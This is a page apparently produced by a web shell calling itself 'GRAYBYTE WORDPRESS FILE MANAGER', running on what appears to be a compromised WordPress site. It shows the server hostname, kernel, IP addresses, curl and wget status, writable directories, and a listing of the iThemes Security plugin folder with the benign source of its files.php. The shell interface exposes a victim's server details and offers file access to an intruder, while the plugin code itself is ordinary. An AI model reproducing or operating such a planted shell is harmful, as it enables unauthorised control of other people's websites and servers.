✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/better-wp-security/core//files.php
<?php

/**
 * iThemes file handler.
 *
 * Writes to core files including wp-config.php, htaccess and nginx.conf.
 *
 * @package iThemes_Security
 *
 * @since   4.0.0
 */
final class ITSEC_Files {
	static $instance = false;

	private function __construct() {}

	public static function get_instance() {
		if ( ! self::$instance ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	/**
	 * Check the setting that allows writing files.
	 *
	 * @since 1.15.0
	 *
	 * @return bool True if files can be written to, false otherwise.
	 */
	public static function can_write_to_files() {
		$can_write = (bool) ITSEC_Modules::get_setting( 'global', 'write_files' );
		$can_write = apply_filters( 'itsec_filter_can_write_to_files', $can_write );

		return $can_write;
	}

	public static function regenerate_wp_config( $add_responses = true ) {
		require_once( ITSEC_Core::get_core_dir() . '/lib/class-itsec-lib-config-file.php' );

		$result = ITSEC_Lib_Config_File::update_wp_config();
		$success = ! is_wp_error( $result );

		if ( $add_responses ) {
			if ( is_wp_error( $result ) ) {
				ITSEC_Response::set_success( false );
				ITSEC_Response::add_error( $result );
			} else {
				ITSEC_Response::set_success();
			}
		}

		return $success;
	}

	public static function regenerate_server_config( $add_responses = true ) {
		require_once( ITSEC_Core::get_core_dir() . '/lib/class-itsec-lib-config-file.php' );

		$result = ITSEC_Lib_Config_File::update_server_config();
		$success = ! is_wp_error( $result );
		$server = ITSEC_Lib_Utility::get_web_server();

		if ( $add_responses ) {
			if ( is_wp_error( $result ) ) {
				ITSEC_Response::set_success( false );
				ITSEC_Response::add_error( $result );
				ITSEC_Lib_Config_File::get_server_config_file_path();
			} else {
				ITSEC_Response::set_success();

				if ( 'nginx' === $server ) {
					ITSEC_Response::add_info( __( 'You must restart your NGINX server for the changes to take effect.', 'better-wp-security' ) );
				}
			}
		}

		return $success;
	}

	/**
	 * Flush files to the filesystem on a schedule.
	 *
	 * @param ITSEC_Job $job
	 */
	public static function flush_files( ITSEC_Job $job ) {
		self::regenerate_server_config( false );
	}

	/**
	 * Execute activation functions.
	 *
	 * Writes necessary information to wp-config and .htaccess upon plugin activation.
	 *
	 * @since  4.0.0
	 *
	 * @return void
	 */
	public function do_activate() {
		self::regenerate_wp_config( false );
		self::regenerate_server_config( false );
	}

	/**
	 * Execute deactivation functions.
	 *
	 * Writes necessary information to wp-config and .htaccess upon plugin deactivation.
	 *
	 * @since  4.0.0
	 *
	 * @return void
	 */
	public function do_deactivate() {
		require_once( ITSEC_Core::get_core_dir() . '/lib/class-itsec-lib-config-file.php' );

		ITSEC_Lib_Config_File::reset_wp_config();
		ITSEC_Lib_Config_File::reset_server_config();
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
Contracts
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
Exception
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
admin-pages
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
deprecated
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
img
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
integrations
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
lib
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
modules
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
packages
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
sync-verbs
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
templates
--
29 May 2026 10.47 AM
tdhomesa / tdhomesa
0755
container.php
4.677 KB
11 Feb 2026 6.32 PM
tdhomesa / tdhomesa
0644
core.php
37.65 KB
12 May 2026 6.59 AM
tdhomesa / tdhomesa
0644
files.php
2.84 KB
28 Jul 2021 10.51 PM
tdhomesa / tdhomesa
0644
history.txt
75.518 KB
17 Oct 2023 8.28 PM
tdhomesa / tdhomesa
0644
index.php
0.033 KB
17 Oct 2023 8.28 PM
tdhomesa / tdhomesa
0644
lib.php
75.049 KB
12 May 2026 6.59 AM
tdhomesa / tdhomesa
0644
lockout.php
47.365 KB
12 May 2026 6.59 AM
tdhomesa / tdhomesa
0644
module-schema.json
16.711 KB
16 Sep 2025 10.04 PM
tdhomesa / tdhomesa
0644
modules.php
32.6 KB
12 May 2026 6.59 AM
tdhomesa / tdhomesa
0644
notify.php
8.703 KB
12 May 2026 6.59 AM
tdhomesa / tdhomesa
0644
response.php
11.627 KB
11 Feb 2026 6.32 PM
tdhomesa / tdhomesa
0644
rest.php
10.855 KB
12 May 2026 6.59 AM
tdhomesa / tdhomesa
0644
setup.php
15.266 KB
22 Mar 2024 8.49 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF